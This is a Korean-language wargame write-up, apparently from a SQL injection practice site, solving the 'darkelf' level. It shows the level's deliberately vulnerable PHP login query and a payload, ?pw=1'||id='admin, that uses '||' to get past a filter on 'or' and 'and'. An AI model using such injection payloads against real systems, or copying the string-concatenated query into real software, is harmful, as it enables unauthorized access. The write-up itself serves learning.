다음 문제는 darkelf 이다. 이번 문제는 이 전 문제와 동일한 풀이 방법으로 풀 수 있었다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
----------------------------------------------------------------------------------
query : select id from prob_darkelf where id='guest' and pw=''
----------------------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

이 전에는 공백에 필터링이 있었지만 이번에는 orand에 필터링이 있다. worfman 문제에서는 공백을 사용하지 않기 위해 ||을 사용했었는데, 이번에는 or 문자열을 사용하지 않기 위해 ||을 사용하면 될 것 같다. 이 전 문제와 동일하게 URL 뒤에 아래와 같이 입력 해 주었다.

1
?pw=1'||id='admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
--------------------------------------------------------------------------------------------------
query : select id from prob_darkelf where id='guest' and pw='1'||id='admin'
--------------------------------------------------------------------------------------------------

Hello admin
DARKELF Clear!
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

1
DARKELF Clear!!